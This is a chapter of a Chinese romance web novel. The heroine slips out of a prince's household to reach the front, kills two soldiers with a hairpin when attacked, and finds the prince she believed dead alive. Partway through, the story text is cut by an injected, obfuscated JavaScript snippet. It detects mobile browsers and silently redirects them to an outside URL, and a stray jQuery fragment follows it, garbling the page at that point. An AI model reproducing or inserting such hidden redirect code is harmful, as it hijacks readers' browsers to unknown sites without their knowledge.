73. 相见
作品:《殿下他沉迷自我攻略》 依照陆离的性子,千裔清表现的越是伤心难过,越是关心容潜,陆离就会越发关心她的安危,把她盯得死死的。
千裔清明白这个道理,又知道陆离在面对容潜的吩咐向来都是死脑筋的,索性也就做个样子,坐实自己狼心狗肺的罪名。
佑王的探子在王府外一直守着,若不是容烨下了死令,恐怕他早就采取行动了。
千裔清也是后来才知道,据军报所说崇安王中了埋伏,但战场上的形势还一直胶着,远不能断定谁胜谁负。
只是少了一个崇安王而已,夜南又不是只有那么一个人在,一兵一卒都尤为关键。
他们对夜南或许都很关键,在千裔清心里却是无足轻重,她要做的只有一件事。
去绥夏。
去绥夏给容潜收尸。
武安王尚有容潜亲自接回,千裔清不能让他躺在那种肮脏的地方,不能让他沉眠于他所憎恶的那片泥泞土地。
-
绛雪进院的时候正好看见千裔清抱着手臂倚在门框边上,微微仰头,似乎在望天。
雨停之后,太阳很快就出来了,转眼就晴的刺眼。
绛雪好心提醒:“夏天日头毒,姑娘当心伤眼睛,怎么不进屋凉快呢?”
千裔清也不动,像是自言自语似的:“是啊,这么毒的太阳,你说陆离怎么就守在大门那里一动也不动呢?”
非但如此,这间王府的偏门、后门她都去转过,比平日更加严防死守,显然是刻意针对她的。
怕她一走了之。
主子都不在了,遗愿还要这么严格的执行,真不愧是陆离。
绛雪也知道其中缘由,但她不好说什么,只能讪笑一声:“佑王整日在咱们王府外头虎视眈眈的,陆离大人也是怕您出危险。”
千裔清叹了口气,望着天空继续出神,口中喃喃的:“全城百姓都说容潜死了,就连朝廷也默认了这个消息......容潜这样的人也会死吗?”
她还以为崇安王永远不会死在别人手中。
绛雪不知道说什么好,其实这话所有人一开始都是不信的,直到消息愈演愈烈,又经陆离亲口确认。
陆离是什么人,若非查明他怎会拿殿下名誉开玩笑。
再到后来,朝廷开始默默准备丧事,璟王也带着祝音前来拜访过一次,所有人都知晓了这个消息,饶是千裔清不信,也不得不信。
可她始终是冷冷淡淡的,一副事不关己的样子,仿佛死了一个与她无关紧要的人。
“姑娘是在伤心吗?”绛雪觉得有点欣慰,“原来姑娘也是会为殿下伤心的。”
千裔清原以为自己永远不会为他伤心的,直到听闻他阵亡的消息,她觉得自己身上的力气好像被抽干了,再难提起什么劲头。
她后知后觉的发现自己竟然是对容潜有感情的,或许是后来相处中的潜移默化,又或许是多年前的一次初见。
但这些都不重要,她别扭惯了,也执拗惯了,因此这件事之后府上也有许多人对她白眼,偷偷在背后骂她是个白眼狼。
千裔清就这么笑笑,想起容潜也用同样的话说过她,不过是完全不同的语气罢了。
她后悔了,她这辈子没跟容潜低过头,也从未向他认过一句错,既是是最初迫于压力的隐忍,也无处不透露着她莫名奇妙的高傲和不屑。
可以说,她对容潜一直都是不公平的。
而这件事是她错了。
但,似乎晚了。
千裔清没说话,转身进了屋。
大门一定走不出去了,尤其她还计划带着自己的药匣,再从偏院里牵匹马赶路,现在想来根本行不通。
第二天,千裔清特意选了大晌午的时候,空着两只手,只有怀里装了点散碎银两。
还没走到外院,陆离就跟上来了,显然这座宅子里到处都是他的耳目。
陆离绷着一张脸:“你这是要去哪?”
千裔清笑了笑,抬着胳膊转了一圈:“最近胃口好了,小衣都有点穿不上了,只能去买些新的,一起?”
千裔清怕他真答应一起,赶忙又说道:“还是算了,你去不大方便。而且,你应该也不想同我一起上街吧,刚好我也不想。还是让下人驾车带我过去吧!”
陆离脸上闪过一丝尴尬,有点没好气的:“绛珠绛雪都在府里。”
千裔清假装听不懂,笑盈盈道:“反正也没什么事做,买点东西而已,还是我自己去吧,对了,要不要带些什么给你?”
到底是她这副姿态过于自然,陆离想着反正还有家仆一道跟去,崇安王府的马车又这么招摇,应该算万无一失了。
陆离摇头:“不用,我叫人备车。”
千裔清笑着“嗯”了一声,好整以暇地等着。
若不是千裔清真的空着两手出门,行李包裹一件也没带,否则陆离还真要怀疑她是不是要趁机跑了再不回来。
崇安王平日里他做派太散漫,早就惹了许多人不快,这会儿正是众人虎视眈眈的时候,若千裔清落单,恐怕只能是个有去无回。
这些事陆离一五一十说给千裔清听了,道理也讲了无数回,人家就是满不在乎,根本没往心里去,他能怎么办?
-
马车稳稳当当的行驶在青石板铺好的宽道,街上人来人往,许多人都侧目望向千裔清所在的车厢。
百姓皆知崇安王在战场之事,但多数人不清楚千裔清的存在,因此便好奇怎么到了这时候崇安王府的人还如此招摇过市,果真是人心凉薄。
行出南巷,不远处的铺子正是新开的果脯店,门口已然大排长龙。
千裔清喊人停下,说想试试这家的口味,瞧这队伍这么长,味道定然不俗。
小厮犹豫了一会儿还是跳下马车,他不敢忤逆主子的意见,虽然陆离大人交代了要时刻跟着,但这么长的队也不好让千裔清去排,还得是自己来。
于是他把马车落在队伍附近,将马拴好防止受惊,确认自己的位置能清清楚楚注意到马车的情况了,这才安心去排队。
千裔清扯了扯嘴角,侧着脑袋,透过门帘的一丝缝隙坐在车里看着。
这队伍长到令人发指,兴许是新开业的原因,又或许是味道的确好,总之正是这一点被千裔清看中了,刻意支开家仆过去。
良久,队伍的进程才过了一半,千裔清坐在车里玩手指,车厢里放着冰块去暑气,外头的太阳可就不一样了,直晒得人发懵。
小厮起初还不时回头看看,再到后来只觉得昏昏欲睡,像只提线木偶一般只顾跟着前人脚跟一步一走。
似乎差不多了。
车厢门被推开一侧,梳着高髻的少女提着裙边轻快地跳下马车,前头的马似乎没注意到车厢轻了一些,仍在树底下打盹,偶尔懒散地哼哧一声。
待到家仆再回过头看时,车门紧闭,一切早已恢复如初了。
千裔清脚步匆匆,全然不顾正在街上,扯下头上的几支发钗,留下最长的一只银簪,随意在头上挽个简单的发髻,径直走进一家门脸极小的当铺。
手中攥着的发饰尽数被拍在案上,紧接着她又褪下腕上带的,颈上挂的。
千裔清知道自己那点银子估计连匹好马都买不起,更别提一路上的周折,这些都是她特意从府里带出来的。
一路上,千裔清一家店一家店的进,直到彻底换下全身行头,背上简单的包袱,看起来再不是出府时那个衣着华贵的姑娘,朴素到只看背影能完全融于街坊之间。这时她去选了一匹马。
千裔清不懂马,时至今日她也没记住容潜跟她说的那些,如何算是品相好,如何算是脚力足,甚至于她连品种都还分不清,只是依照旧事习惯,选了其中最好看的那一匹。
显然,市集的马比不上皇家精心挑选的,这匹马非但不快,跑了没几步路就不远再动弹了,停在万罗谷外不肯向前,要她牵着才能动两步。
正当千裔清和它比拼谁的执拗劲更厉害,紫红色的花田之中缓缓出现两道驾马前行的人影,人还未到跟前儿,其中一人的嘲笑声倒是先落进千裔清耳朵里。
“哈哈——谢师兄,这姑娘牵了只小马驹在这散步呢!”
千裔清嘴角微微抽搐,她这马是小了点,那不是想着更匹配自己的身形吗!
她抬起头,神色不快地扫了对方一眼,竟是引得那年轻人一愣。
被唤作“谢师兄”的年轻男子不争气地瞥了他一眼,转而看向千裔清:“姑娘,再朝西去就要出夜南地界了,绥夏和夜南正交战,你还是尽早回去吧。”
“噢噢对对对!”回过神的年轻人收回脸上因为惊艳而痴傻的表情,结结巴巴道,“那边危险,你还是别去了,姑娘家住哪里,不如在下送你回去?”
“陶令,收起你那德性,别忘了咱们是去执行任务的!”
“哎呀!谢师兄你也太上纲上线了,莫不是你兄弟做了门主,你也开始摆起谱来了?”
门主?
千裔清终于想起这人的容貌为何如此熟悉了,他与谢子源长得很像,只是看起来没那么老成的做派,神情姿态都更显稚嫩一些,这才符合他这般的少年年纪。
千裔清犹豫了片刻,望向那位姓谢的师兄:“谢子源是你什么人?”
两人一愣,同时停下了话音。
“你认识我哥?”
不光认识你哥哥,还认识你师傅。
千裔清不知道怎么解释自己的身份,想来这人也是没听说过自己的。
想了想,她说道:“我师傅是官朗州。”
那人一跃而下,从马上落在地面,上前一步:“原来你是千千姑娘啊!我听师傅提起过你,哦,我师傅姓喻。”
千裔清点头。
她知道他们兄弟都是喻景淮的徒弟,那这位就是谢子源的胞弟——谢子初了。
谢子初问:“你这是要去哪?”
千裔清朝着西边望去,一览无垠,显然距离绥夏还有很远很远。
她也不做隐瞒,直言:“我要去边境。”
“你要去边境?”陶令诧异地重复一遍,脸上写满了不敢置信,一个姑娘家,只身一人去边境做什么?
陶令问道:“你是崇安王府的人?”
随即他解释:“哦,姑娘你别多心,听说崇安王他......所以我就想着这时候会去绥夏的人恐怕也只有崇安王的人了。”
这个人脑子倒是很灵活。
千裔清点点头,默认自己来自崇安王府:“崇安王的事重云门也知道了?”
陶令颔首:“这个自然,重云门距离绥夏最近,军部有什么消息咱们都是第一个知道的!”
“那......”千裔清犹豫了片刻。
“是真的。”谢子初知道她要问什么,“若你是崇安王府的人,想去见崇安王最后一面本也无可厚非,只是——”
他顿了顿,望着那匹小马的眼神充满了无奈:“鬼医对师傅和云姑娘有恩,你是他的弟子,我们重云门自然不能袖手旁观,你这匹......马,尚不足一岁,体力耐力都不足以支持你到边境,姑娘还是重新做打算吧。”
千裔清:“......”
这话也太委婉了,所以她是挑了匹马中幼崽吗?
见她脸上为难的紧,谢子初斟酌了一会儿,想起师傅昔日对自己的关怀,而且他和云染的交情又着实不错。
谢子初转头对陶令说道:“回去告诉门主,我先送千千姑娘去边境,这次任务还是交给高少舟吧。”
陶令好一会儿才反应过来,怀疑自己听错了,掏了掏耳朵:“可是门派有规定不能越过防线,你若去了就是违抗门规,朝廷也不会同意的!”
“这个我自然明白,不过是送她到边界而已,我保证绝不越界。”谢子初补充道,“你就这样回复门主即可,他会同意的。”
谢子初态度坚决,拿定主意要替师傅还个人情,陶令知道自己拗不过他,便放弃了,朝谢子初抱了个拳,留下自己的快马转身回去。
重云门就在万罗谷中,回去一趟对他而言并不费事。
千裔清指着她手中牵的马问:“那它怎么办?”
虽然还是匹幼年小马驹,怎么说也不能就这么丢在这里。
“好办。”谢子初笑了笑,对着身后刚走不久的背影大声喊道,“陶令——”
得嘞!他就知道!
还没走远的人脚步一顿,皱巴着脸再度回来。
-
有了谢子初的陪同,西行的路也变得好走很多。
谁都知道万罗谷几乎算是众人默认归重云门所有,连带着周边的须臾山也是荒无人烟的,然而到了山脚,千裔清才发现这里其实还有处村庄所在。
天已经黑了,纵是人能熬得住,马也是要休息的。
即便快马加鞭,想到达境外至少还要一天一夜。
村子的住户并不多,地界也不大,而且这里并不像寻常的村落一样商铺繁多。
谢子初解释,除重云以外鲜少有人踏足万罗谷,这片村落的村民也是如此,多靠自给自足。
所幸坤京本来就离绥夏不远,若非如此也不会总起战事,既然已经到了这,就无需急这一时半刻的。
谢子初路上同她说了很多。
譬如喻景淮在将门主之位传于谢子源之后,不仅重云门中内乱不止,江湖上的其他门派也想借此机会瓦解他们,这件事原本没这么快彻底解决的,直到有一天崇安王来访,要求重云门上下为他尽快打探绥夏军情,作为交换,他愿以崇安王的名义支持重云,待得胜之时再为重云添一把柴。
只是如今崇安王身亡的消息从边境传来,重云门上下又变得不安,只有谢门主一人镇定如初,不知在打什么主意。
至于喻景淮,他已经在众人视线中消失很久了。
千裔清也不免怀疑,重云门距离绥夏这么近,为何没人去验证一下事情的真假。
而谢子初则表示,一是军报造假的可能性微乎其微,二是谢子源不许他们管这档子事。
休整完毕,第二天谢子初又陪着千裔清赶了整个白日的路途,前方差不多接近沙场,随时有驻守的将士会注意到他,出于门规和朝廷禁令,他不能再往前,否则可能会惹出不必要的麻烦。
谢子初同她告辞,又道:“我本来以为你是来找鬼医的,没想到是为了崇安王而来。”
千裔清无奈地摇摇头:“自从鬼山被烧,师傅已经离开近两个月了,也不知道如今身在何处,有没有找到方幼渺。”
谢子初怔然:“方幼渺?怪不得——原来鬼医是追着方幼渺才来到这里的!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109620|160082||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
千裔清一听也迷糊了,半晌儿没反应过来:“方幼渺来过?”
这么说官朗州也曾出现在这里,他是因为得知方幼渺曾出现在此,这才循迹追来的吗?
谢子初颔首,印证她的想法:“师傅知道方幼渺在绥夏,也知道上玄帝想找她,师傅气不过他害得云姑娘受罪,所以故意不告诉他好让他着急。”
难怪后来容烨找上了千裔清,虽然他对自己也没抱多大希望。
千裔清一方面感叹师傅这手无缚鸡之力的老弱病居然也敢一个人往战场上跑,另一方面又庆幸他还活着,或许有朝一日还能再次相见。
在矮洞里简单休息了半夜,趁着天蒙蒙亮再次赶路下山。
她从来没想过自己也是能这般马不停蹄的奔袭,也没想过自己这双腿能坚持这么久,虽然还是比寻常人耽误了不少时间。
下山之后,眺望而去。远处不知是雾气还是烟火,笼在蜿蜒曲折的水流之上,看起来十分朦胧,大约是接近军帐了。
这一天一夜她半食未进,又没带什么信物,难保待会儿不会被当成奸细直接杀了。
千裔清有点懊恼,也怪她出来的急,只想着怎么出逃,旁的一概没仔细考虑。
唉,心急了。
好不容易接近空旷的河道,清晨的水凉的沁人心脾,她用手掬一捧水润润嗓子,又简单洗去一脸倦容,神清气爽。
两个穿着铠甲的小卒说笑着走来,看起来正是夜南的士兵。
千裔清沉吟片刻,整理好微乱的长发,抻了抻被弯腰蹲下的动作扯的发皱的衣裳,迎上前去。
两个士兵自然也注意到她,一个貌美的女子孤身一人出现在这里,实在很难不让人怀疑。
其中高瘦的那人横刀拦住她,警惕状:“站住!你可知这里是什么地方?不许再接近了!”
另一人稍胖一些,眼睛则是很小,看起来本就睁不开的眼睛更是稀松平常的神态,宽慰身边人:“慌什么,看这衣着是咱们夜南的。——姑娘,前头可就是营地了,不论你是谁,擅闯阵地可都要砍头的。”
千裔清解释道:“我是来找人的。”
“找人?”小眼睛的夜南小卒嘲讽一笑,“来这里找人,莫非你是奸细?”
“我来找——”她话语一顿,差点顺口把容潜的名字喊出来,于是改口道,“我是来找崇安王的。”
“崇安王?”
他的眼神突然变得怪异,和身边那人相视一眼,不约而同提起刀。
千裔清急忙退开几步:“两位这是做什么!”
高瘦的小卒面色不善:“崇安王已经身亡,你这女子还敢说来找崇安王,不是奸细又是什么!”
“两位大哥——”
还没来得及解释,两人不由分说提刀就砍,其中一人更是已经来到近前。
千裔清无奈,从袖口夹出一包粉末,手腕一扬,灰白色的烟粉霎时迎面而上。
“啊——我的眼睛!”这下好了,他的小眼睛彻底睁不开了。
那些瓶瓶罐罐的属实难装,千裔清担心陆离起疑便没敢带出来。只是一个姑娘家独身出门,她又没什么拳脚,防身的东西还是要准备一些,于是顺道在路上包了一些石灰粉,没想到还真用上了。
千裔清抱歉道:“这位大哥听我解释,只是石灰而已......”
另外一人只看到自己的兄弟痛苦万分,捂着脸在地上打滚。
他哪管什么解释,这下更认定千裔清是绥夏来的奸细:“少废话,老子砍了你!”
千裔清蹙紧眉头,一面躲闪着,一面努力跟他解释。
只是她到底没练过功夫,又比不得战场上的人反应灵敏,两个回合就被掀翻在地。
那人抬手就要落刀,千裔清咬牙,反手拔出发簪狠狠插入对方耳门穴,轻轻一转而后拔出,鲜红的血液喷涌而出,他手中的长刀也擦着千裔清的肩头落在地上。
千裔清把他从身上费力推开的功夫,先前那人也抹去了眼中石灰,勉强找回一丝光亮。
他一睁眼就看到自己同伴丧命的情景。饶是千裔清被逼无奈才杀人,落在对方眼里也只能认定她定是绥夏派来的歹人。
见人持刀而来,千裔清捡起地上的长刀反手去接,只一下便被震得手腕发麻,刀柄脱手而落。
她极为狼狈的在地上打了个滚躲开,抽出一丝间隙表明自己的身份:“误会啊!我真的不是间隙,我是坤京来的!”
“少说废话!你杀了我兄弟,还敢冒充夜南人,去死吧你——”
不是她不愿留手,这两人丝毫不听解释,非要当场置她于死地。
千裔清只好重新扬起手中的发簪,趁他近前划过他的会宗穴,趁他手腕吃力,下一刻毫不犹豫钻进他哑门。
一击毙命。
咳——
千裔清瘫在地上大口喘息,长发散落在背后胸前,狼狈不堪。
不紧不慢的马蹄声近前,似是有人看了很久的戏。
“哟!这姑娘看着柔柔弱弱的,下手还挺狠啊!”
“可不是么!欸,刚才为什么不拦住她啊?”
“咱们又没带弓箭,就算出手也救不回那俩傻子,算了,带回去好好盘问吧......”
千裔清在袖子上抹净发簪上的血迹,慢条斯理的挽起长发,低头听着两人的议论,暗自松一口气。
听起来这两个倒不是冲动的,似乎在军中还有些权利。
罢了,能带她去军中就好,也省得她麻烦。
正想着,一道冷冽的男声不大不小,落在千裔清耳畔。
“你们两个,在这磨蹭什么呢?”
“呃、殿下来了!”
那后来人却没应声,沉默了一阵,而后不确定道:“......清清?”
这声轻唤让千裔清手指一颤,她缓缓抬首,那道熟悉无比的身影正迈着修长的双腿,一步一步靠近而来。
年轻的男人一身金甲,额前的发梳的整齐,没了发冠的加持也丝毫不褪贵气,俊秀的脸庞似乎是瘦了点,嘴边青黑的胡茬看起来有些沧桑,但千裔清还是一眼认出。
这就是容潜。
他眼中的诧异和震惊缓缓褪去,弯着笑眼丝毫不隐瞒自己的欣喜:“怎么,不认识我了?”
千裔清眼眶一热,眼圈跟着一瞬就红了。
可她什么也没说,就这么盯着他看了几秒,转身就走。
“哎——你去哪儿?”容潜急切地握上她的手腕。
赶了这么久的路,又刚从紧张的生死中脱险,千裔清基本是没什么余力了,此刻容潜拉住她,力道之大把千裔清扯的一个踉跄,差点绊倒在地。
容潜眼疾手快的扶上她的腰身,一脸的关心:“怎么了,吓到你了?”
千裔清抿了抿唇。
他真的没死,他还活着,完完整整的站在她面前。
那为什么所以人都说他死了。
所有人......都说他死了。
不远处的马副将茫然无措地望着陈将军,他是从没见过千裔清,但陈将军是见过的。
陈将军心中一个劲的骂自个眼拙,方才是这姑娘头发散乱,加上离得远,他虽觉得熟悉却怎么也没想到千裔清会出现在这里。
方才他说抓回去盘问......殿下没听着吧?